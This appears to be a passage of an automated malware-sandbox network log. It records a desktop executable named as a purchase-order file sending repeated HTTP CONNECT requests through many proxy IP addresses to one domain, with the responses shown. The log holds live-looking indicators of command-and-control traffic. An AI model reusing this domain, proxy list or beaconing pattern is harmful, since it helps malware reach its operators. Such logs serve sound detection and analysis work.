Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.779335022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.235385895 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.782269001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.860424042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.141875029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.330045938 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.613195896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.938913107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:40.583390951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.11	50140	64.44.139.12	20037	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.783524990 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.313497066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.969786882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.266665936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.845752001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.439219952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.142092943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.329454899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:44.641814947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.11	50194	104.20.24.214	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.788688898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.942758083 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:18 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.11	50195	172.67.150.173	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.788688898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.943196058 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:18 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.11	50209	172.67.38.96	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.796785116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.951272011 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:18 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.11	50052	14.103.24.20	8000	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.802083969 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.11	50217	31.43.179.214	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.803760052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.959564924 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:18 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.11	50210	66.225.246.238	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.803776026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.11	50048	222.255.238.159	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.809591055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.138078928 CET	506	IN	HTTP/1.1 302 Found Date: Mon, 11 Mar 2024 15:42:18 GMT Server: Apache/2.4.41 (Ubuntu) Location: https://ktxcomay.com.vn Content-Length: 314 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6b 74 78 63 6f 6d 61 79 2e 63 6f 6d 2e 76 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://ktxcomay.com.vn">here</a>.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.11	50125	190.153.121.2	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.815409899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.11	50081	98.64.169.17	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.816253901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:58.998173952 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 16:42:59.824434042 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.11	50237	104.17.171.235	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.829643011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.985207081 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:18 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.11	50247	172.67.182.126	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.835688114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:18.991291046 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:18 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.11	50183	194.4.50.62	12334	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.836133957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.11	50064	202.179.184.44	5430	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.837606907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.11	50199	199.102.107.145	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.841495037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.11	50277	104.17.166.210	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.856339931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.012799978 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:18 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.11	50282	172.67.181.129	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.857337952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.013495922 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:18 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.11	50166	174.75.211.222	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.859757900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.11	50258	162.214.225.223	40536	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.860719919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.344793081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.907237053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
